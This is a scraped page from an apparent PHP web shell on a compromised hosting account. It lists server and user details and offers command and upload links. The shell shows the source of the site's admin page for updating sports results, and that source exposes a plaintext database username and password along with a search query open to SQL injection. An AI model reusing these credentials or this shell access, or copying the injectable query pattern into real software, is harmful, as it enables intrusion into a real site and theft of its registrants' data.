|
Server IP : 86.38.243.193 / Your IP : 216.73.217.143 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u493057690 ( 493057690) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u493057690/domains/iasfindia.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'validate.php';
require 'name.php';
?>
<?php
include('header.php');
?>
<?php
include('sidebar.php');
?>
<?php
if(isset($_POST['search']))
{
$valueToSearch = $_POST['valueToSearch'];
// search in all table columns
// using concat mysql function
$query = "SELECT * FROM `registration` WHERE status='Approved' AND CONCAT(`serial_id`, `name`, `state`, `sport`, `designation`, `result`) LIKE '%".$valueToSearch."%'";
$search_result = filterTable($query);
}
else {
$query = "SELECT * FROM `registration` WHERE designation='Player' AND status='Approved'";
$search_result = filterTable($query);
}
// function to connect and execute the query
function filterTable($query)
{
$conn = mysqli_connect("localhost", "hotelrsg_iasfindia", "Sport@123", "hotelrsg_iasf");
$filter_Result = mysqli_query($conn, $query);
return $filter_Result;
}
?>
<!--app content-->
<div class="app-content">
<div class="side-app">
<div class="page-header">
<h4 class="page-title">Update Result</h4>
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="#"><i class="fe fe-home mr-1"></i> Admin</a></li>
<li class="breadcrumb-item active" aria-current="page">Update Result</li>
</ol>
</div>
<div class = "panel panel-default">
<div class = "panel-body">
<div class="card-body">
<div class="settings-tab">
<ul class="tabs-menu nav">
<li class=""><a href="#tab0" class="active" data-toggle="tab"><i class="fe fe-aperture mr-2"></i> All</a></li>
<li class=""><a href="#tab1" data-toggle="tab"><i class="fe fe-aperture mr-2"></i> Pending</a></li>
<li><a href="#tab2" data-toggle="tab" class=""><i class="fe fe-message-circle mr-2"></i> Final</a></li>
</ul>
<div class="tab-content">
<div class="tab-pane active show" id="tab0">
<form action="update-result.php" method="post">
<input type="text" name="valueToSearch" placeholder="Value To Search">
<input type="submit" name="search" value="Filter">
<table id = "table" class = "table table-bordered">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>State</th>
<th>Sport</th>
<th>Designation</th>
<th>Result</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php while($fetch = mysqli_fetch_array($search_result)):?>
<tr>
<td><?php echo $fetch['serial_id']?></td>
<td><?php echo $fetch['name']?></td>
<td><?php echo $fetch['state']?></td>
<td><?php echo $fetch['sport']?></td>
<td><?php echo $fetch['designation']?></td>
<td><?php echo $fetch['result']?></td>
<td><center>
<form action="update-res.php" method="post">
<input type = "hidden" class = "form-control" name = "serial_id" value="<?php echo $fetch['serial_id'];?>" />
<select name="uresult" id="uresult" class="form-control" style="width:100px;">
<option value="Gold">Gold</option>
<option value="Silver">Silver</option>
<option value="Bronze">Bronze</option>
<option value="Participate">Participate</option>
<option value="Official">Official</option>
<option value="Coach">Coach</option>
</select>
<input type = "submit" class = "btn btn-success btn-icon btn-sm fe fe-edit-2" name ="apply" value="Apply"></input>
</form>
</tr>
<?php endwhile;?>
</tbody>
</table>
</form>
</div>
<div class="tab-pane" id="tab1">
<table id = "table" class = "table table-bordered">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>State</th>
<th>Sport</th>
<th>Designation</th>
<th>Result</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$query = $conn->query("SELECT * FROM `registration` WHERE `result` = 'Not Decided' AND designation='Player' AND status='Approved'") or die(mysqli_error());
/* $query = $conn->query("UPDATE from 'guest' SET 'status'='Approve' WHERE 'status'='Pending' ") or die(mysqli_error()); */
while($fetch = $query->fetch_array()){
?>
<tr>
<td><?php echo $fetch['serial_id']?></td>
<td><?php echo $fetch['name']?></td>
<td><?php echo $fetch['state']?></td>
<td><?php echo $fetch['sport']?></td>
<td><?php echo $fetch['designation']?></td>
<td><?php echo $fetch['result']?></td>
<td><center>
<form action="update-res.php" method="post">
<input type = "hidden" class = "form-control" name = "serial_id" value="<?php echo $fetch['serial_id'];?>" />
<select name="uresult" id="uresult" class="form-control" style="width:100px;">
<option value="Gold">Gold</option>
<option value="Silver">Silver</option>
<option value="Bronze">Bronze</option>
<option value="Participate">Participate</option>
<option value="Official">Official</option>
<option value="Coach">Coach</option>
</select>
<input type = "submit" class = "btn btn-success btn-icon btn-sm fe fe-edit-2" name ="apply" value="Apply"></input>
</form>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
<div class="tab-pane" id="tab2">
<table id = "table" class = "table table-bordered">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>State</th>
<th>Sport</th>
<th>Designation</th>
<th>Result</th>
<th>Print</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$query = $conn->query("SELECT * FROM registration WHERE result = 'Gold' OR result = 'Silver' OR result = 'Bronze' OR result = 'Participate' OR result = 'Official' OR result = 'Coach'") or die(mysqli_error());
/* $query = $conn->query("UPDATE from 'guest' SET 'status'='Approve' WHERE 'status'='Pending' ") or die(mysqli_error()); */
while($fetch = $query->fetch_array()){
?>
<tr>
<td><?php echo $fetch['serial_id']?></td>
<td><?php echo $fetch['name']?></td>
<td><?php echo $fetch['state']?></td>
<td><?php echo $fetch['sport']?></td>
<td><?php echo $fetch['designation']?></td>
<td><?php echo $fetch['result']?></td>
<td>
<form method="post" action="certificate_print.php" target="_blank">
<input type = "hidden" class = "form-control" name = "serial_id" value="<?php echo $fetch['serial_id'];?>" />
<input type = "submit" class = "btn btn-success btn-icon btn-sm fe fe-edit-2" name ="print" value="Print" />
</form>
</td>
<td><center>
<form action="update-res.php" method="post">
<input type = "hidden" class = "form-control" name = "serial_id" value="<?php echo $fetch['serial_id'];?>" />
<select name="uresult1" id="uresult1" class="form-control" style="width:100px;">
<option value="Not Decided">Not Decided</option>
<option value="Gold">Gold</option>
<option value="Silver">Silver</option>
<option value="Bronze">Bronze</option>
<option value="Participate">Participate</option>
<option value="Official">Official</option>
<option value="Coach">Coach</option>
</select>
<input type = "submit" class = "btn btn-success btn-icon btn-sm fe fe-edit-2" name ="not" value="Apply"></input>
</form>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--app content-->
<script src = "../js/jquery.js"></script>
<script src = "../js/bootstrap.js"></script>
<script src = "../js/jquery.dataTables.js"></script>
<script src = "../js/dataTables.bootstrap.js"></script>
<script type = "text/javascript">
$(document).ready(function(){
$("#table").DataTable();
});
</script>
<script type = "text/javascript">
function confirmationDelete(anchor){
var conf = confirm("Are you sure you want to delete this record?");
if(conf){
window.location = anchor.attr("href");
}
}
</script>
<?php
include('footer.php');
?>